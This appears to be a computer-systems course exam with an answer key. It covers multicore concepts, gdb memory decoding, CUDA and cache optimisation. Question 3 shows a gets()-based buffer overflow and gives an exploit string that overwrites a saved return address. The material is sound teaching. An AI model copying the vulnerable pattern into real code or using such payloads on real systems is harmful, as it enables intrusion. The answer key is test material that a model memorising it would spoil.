1. ***♪ It's Gettin' Hot On-Chip (So Hot) – So Parallelize All Your Code ♫ (10 points)***: Answer each multiple choice question.

   a. The recent shift away from aggressive frequency scaling and towards multicore processors resulted primarily because
      A) There was insufficient silicon area (i.e. # of transistors) to implement the more complex cores that were being proposed
      B) DRAM capacity was not scaling sufficiently compared with transistor speeds
      C) More complex cores with faster clock rates burned too much power for conventional packaging and cooling technology
      D) We started to run out of three-letter acronyms

   b. Without frequency scaling, we have _____ to continue to scale performance. Parallel programming has become more mainstream as a result.
      A) Focused on the exploitation of thread-level parallelism (TLP)
      B) Instead implemented faster clock rates
      C) Designed larger L1 instruction and data caches
      D) Completely given up trying

   c. One challenge in certain types of parallel programming is **load balancing** among different threads. This refers to
      A) Evenly distributing memory accesses (i.e. load instructions) among different cores to balance the data stored in the first level caches.
      B) Evenly distributing the amount of work done by each thread to ensure maximal speedup from parallelization.
      C) Evenly spreading heat across the chip to avoid race conditions from hot/cold regions of the processor.
      D) Evenly dividing programmer time between writing code and killing time on Facebook.

   d. If you have a parallel architecture where there is a single control flow that is executed by all compute elements but each element is working on different data, then you are following the _____ model of parallel architectures.
      A) SIMD
      B) MISD
      C) MIMD
      D) Super

   e. Simultaneous Multithreading (SMT) (also known as Hyperthreading) is a technique intended to:
      A) Reduce application latency by issuing from multiple threads within a single cycle at the possible cost of throughput
      B) Improve overall throughput by issuing from multiple threads within a single cycle at the possible cost of single thread performance
      C) Reduce core heating (i.e. utilization) by issuing from multiple threads within a single cycle at the possible cost of performance
      D) Confuse students with long and important sounding names.

2. ***You Won't Be Able to Make Heads or Tails of This One (20 points):*** Consider the following C structure definition:

```
struct node {
    short id;
    char *label;
    float velocity;
    char x;
    char y;
    char z;
    struct node *next;
    struct node *prev;
  };

struct node * head;
struct node * tail;
```

This code is compiled on a 64-bit, little-endian architecture (x86-64 running Linux). You use gdb to find some information:

```
(gdb) x/128x 0x601010
0x601010:       0x00004567      0x00000000      0x00400768      0x00000000
0x601020:       0x4ee961b9      0x007369c6      0x00000000      0x00000000
0x601030:       0x006010c0      0x00000000      0x00000021      0x00000000
0x601040:       0x2ae8944a      0x00000000      0x00000000      0x00000000
0x601050:       0x00000000      0x00000000      0x00000021      0x00000000
0x601060:       0x625558ec      0x00000000      0x00000000      0x00000000
0x601070:       0x00000000      0x00000000      0x00000021      0x00000000
0x601080:       0x238e1f29      0x00000000      0x00000000      0x00000000
0x601090:       0x00000000      0x00000000      0x00000021      0x00000000
0x6010a0:       0x46e87ccd      0x00000000      0x00000000      0x00000000
0x6010b0:       0x00000000      0x00000000      0x00000031      0x00000000
0x6010c0:       0x000058ba      0x00000000    & 0x0040076e      0x00000000
0x6010d0:       0x4ef3c554      0x00fbf2ab      0x00601010      0x00000000
0x6010e0:       0x00601150      0x00000000      0x00000021      0x00000000
0x6010f0:       0x515f007c      0x00000000      0x00000000      0x00000000
0x601100:       0x00000000      0x00000000      0x00000021      0x00000000
0x601110:       0x5bd062c2      0x00000000      0x00000000      0x00000000
0x601120:       0x00000000      0x00000000      0x00000021      0x00000000
0x601130:       0x12200854      0x00000000      0x00000000      0x00000000
0x601140:       0x00000000      0x00000000      0x00000031      0x00000000
0x601150:       0x000027f8      0x00000000      0x00400774      0x00000000
0x601160:       0x4ecdde87      0x00e7e81b      0x006010c0      0x00000000
0x601170:       0x006011e0      0x00000000      0x00000021      0x00000000
0x601180:       0x3352255a      0x00000000      0x00000000      0x00000000
0x601190:       0x00000000      0x00000000      0x00000021      0x00000000
0x6011a0:       0x109cf92e      0x00000000      0x00000000      0x00000000
0x6011b0:       0x00000000      0x00000000      0x00000021      0x00000000
0x6011c0:       0x0ded7263      0x00000000      0x00000000      0x00000000
0x6011d0:       0x00000000      0x00000000      0x00000031      0x00000000
0x6011e0:       0x0000c233      0x00000000      0x0040077a      0x00000000
0x6011f0:       0x4e9cd5f7      0x009ac99f      0x00601150      0x00000000
0x601200:       0x00000000      0x00000000      0x00000021      0x00000000
```

```
(gdb) print head
$1 = (struct node *) 0x6011e0
(gdb) print tail
$2 = (struct node *) 0x601010

 (gdb) x/32x 0x400768
0x400768:   0x65626d61      0x636f0072      0x00657268      0x7675616d
0x400778:   0x7a610065      0x00657275      0x3b031b01      0x00000024
0x400788:   0x00000003      0xfffffd58      0x00000040      0xfffffef0
0x400798:   0x00000078      0xffffff00      0x00000090      0x00000000
0x4007a8:   0x00000014      0x00000000      0x00527a01      0x01107801
0x4007b8:   0x08070c03      0x00000190      0x0000001c      0x0000001c
0x4007c8:   0x004004d8      0x00000190      0x100e4100      0x0d430286
0x4007d8:   0x00000006      0x00000000      0x00000014      0x00000000
```

Based on this information, fill in the correct response for these two gdb queries:

```
(gdb) print head->next->label
```

"mauve"

```
(gdb) print &(tail->prev->label)
```

0x6010c8

3. ***A Stack Walks into a Bar and Says "It's Hard to Maintain Discipline While Getting Smashed" (20 points):*** Consider the following C datatype, intended to provide some protection against buffer overflow:

```
struct safe_buffer {
  int size;
  char * buffer;
} mybuf;
```

And the following function that creates a safe buffer:

```
void createbuf(struct safe_buffer *buf, int size) {
  int i;
  char tempbuf[12];

  (*buf).size=size;
  (*buf).buffer=calloc((*buf).size, sizeof(char));
  gets(tempbuf);
  for (i=0; i<size; i++)
    (*buf).buffer[i]=tempbuf[i];
  return;
}
```

Your friend argues that this function takes a size parameter and allocates that much buffer space – then only writes that much space to the buffer, ensuring that the safe buffer cannot overflow. Your friend is completely wrong. Prove that the code can be exploited – give us a string (plain text) that could be used to form an exploit string as you did in the buffer lab. You exploit string should maintain the correct value of the saved ebp on the stack, but should change the saved return address to *0x080485e8* so that the return from createbuf will take us to that address. Don't worry about the call to sendstring – just give us plain text. Here's some useful data from execution on IA32 Linux – the disassembled call to createbuf:

```
8048512:       e8 e2 fe ff ff          call   80483f9 <createbuf>
```

And the values of %esp and %ebp, and a gdb dump of some of the stack, after the call to gets in createbuf has completed and we are inside the for loop in createbuf:

```
esp            0xffffdb40
ebp            0xffffdb58

(gdb) x/32x 0xffffdb40
0xffffdb40:    0xffffdb48    0x00000001    0x74617257    0x00000068
0xffffdb50:    0x00000000    0x00000000    0xffffdbc8    0x08048517
0xffffdb60:    0x08049720    0x0000000a    0x00000000    0x00000000
0xffffdb70:    0xf63d4e2e    0x00000000    0x00000000    0x00000000
0xffffdb80:    0x00000000    0x00000000    0x00000000    0x08048340
0xffffdb90:    0x00000000    0x080496f4    0xffffdba8    0x080482a1
0xffffdba0:    0x00299ff4    0x00298204    0xffffdbd8    0x08048569
0xffffdbb0:    0x00183e25    0xffffdc6c    0xffffdbd8    0x00299ff4
```

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 db ff ff e8 85 04 08
```

4. ***I CUDA BIN Somebody – I CUDA BIN A Contender! (20 points):*** Consider the CUDA code below:

```
#include <stdio.h>
__global__ void kernel( int *a )
      {
            int idx = blockIdx.x*blockDim.x + threadIdx.x;

            a[idx] += threadIdx.x;

      }

int main()
      {
            int dimx = 8;
            int num_bytes = dimx*sizeof(int);
            int *d_a=0, *h_a=0; // device and host pointers
            dim3 grid, block;
            int i;

            h_a = (int*)malloc(num_bytes);
            cudaMalloc( (void**)&d_a, num_bytes );
            if( 0==h_a || 0==d_a )
            {
                  printf("couldn't allocate memory\n");
                  return 1;
            }

            h_a[0]=1;
            for (i=1; i<dimx; i++)
                  h_a[i]=h_a[i-1]*2;
            block.x = 4;
            grid.x = dimx / block.x;
            cudaMemcpy( d_a, h_a, num_bytes, cudaMemcpyHostToDevice );
            kernel<<<grid, block>>>( d_a );
            cudaMemcpy( h_a, d_a, num_bytes, cudaMemcpyDeviceToHost );
            for(int i=0; i<dimx; i++)
                  printf("%d ", h_a[i] );
            printf("\n");
            free( h_a );
            cudaFree( d_a );
            return 0;
      }
```

What is the output of this code when executed on a system with a CUDA-enhanced GPU?

1 3 6 11 16 33 66 131

5. ***Cache Me If You Can! (30 points):*** Consider the following C function.

```
void shrink(int *old, int *new, int dim_new, int shrink_factor) {
  int i, j;
  int u, v;

  for (i=0; i<dim_new; i++) {
    for (j=0; j<dim_new; j++) {
      new[i*dim_new+j]=0;
      for (u=0; u<shrink_factor; u++) {
        for (v=0; v<shrink_factor; v++) {
          new[i*dim_new+j]+=
               old[(i*shrink_factor+u)*dim_new*shrink_factor
                    +(j*shrink_factor+v)];
        }
      }
      new[i*dim_new+j]/=shrink_factor*shrink_factor;
    }
  }
}
```

This function effectively takes a 2D matrix (`int *old`) and outputs a new 2D matrix based on this called (`int *new`). The parameter `dim_new` defines the size of the new 2D matrix – it is effectively a matrix of (`dim_new * dim_new`) integers. The last parameter, `shrink_factor`, is how many times smaller one dimension of the new matrix is relative to the old matrix. So if we went from a 400x400 matrix to a 100x100 matrix, `dim_new` would be 100 and `shrink_factor` would be 4. This could be used for something like image scaling. The technique to shrink the matrix will basically just use a simple, non-overlapping average – probably not good enough for high quality image scaling, but we'll do the best we can with it.

This problem is intended to be the most challenging one on this exam – so before continuing be sure you understand the original code first – it may be useful to run through an example of the shrinking on a small matrix – like a 4x4 matrix shrinking to a 2x2 matrix (scaling factor is 2).

We want to optimize this code by using strength reduction and common subexpression elimination on as many multiplies as possible, by eliminating unneeded memory references, and by using blocking to improve locality in the loop structure. There are lots of ways to attack this, but we are going to force you to finish the one we have started on the next page (this one cuts the runtime of shrink in half). The author of this code segment has followed a ***horrible*** coding practice of naming some of their variable names in a completely irrelevant way to the code function – so you cannot rely on the variable names to help you discern their functionality.

Your job is to fill in the blanks to make this code work correctly. The blanks we have inserted will look like this: **_____A_____** where the letter at the center of the blank is the label for the space on the answer key. So you should have 10 labels (**A-E**) to fill in for this problem. MIN(X,Y) is a macro that returns the minimum of values X and Y.

```
void shrink_fast(int *old, int *new, int dim_new, int shrink_factor)
{
  int i, j;
  int u, v;

  int iidim,jj,ii;

  // HINT - all labels should be filled with one of these names
  int platypus, kangaroo, echidna, cassowary, koala, dingo, wallaby,
      wombat;

  int dimshrink,sf2,sf2dim,bdim;

  dimshrink=dim_new*shrink_factor;
  sf2=shrink_factor*shrink_factor;
  sf2dim=sf2*dim_new;
  bdim=BSIZE*dim_new;

  iidim=0;
  for (ii=0; ii<dim_new; ii+=BSIZE) {
    for (jj=0; jj<dim_new; jj+=BSIZE) {
      wallaby=MIN(ii+BSIZE,dim_new);
      wombat=iidim;
      platypus=iidim*sf2;
      cassowary=jj*shrink_factor;
      for (i = ii; i < __wallaby__; i++){
        kangaroo=__platypus__+sf2dim;
        dingo=MIN(jj+BSIZE,dim_new);
        echidna=cassowary;
        for (j = jj; j <___dingo___; j++){
          koala=0;
          for (u=platypus; u<kangaroo; u+=dimshrink) {
            for (v=echidna; v<echidna+shrink_factor; v++) {
              ___koala___+=old[u+v];
            }
          }
          new[__wombat__+j]=koala/sf2;
          echidna+=shrink_factor;
        }
        wombat+=dim_new;
        platypus+=sf2dim;
      }
    }
    iidim+=bdim;
  }
}
```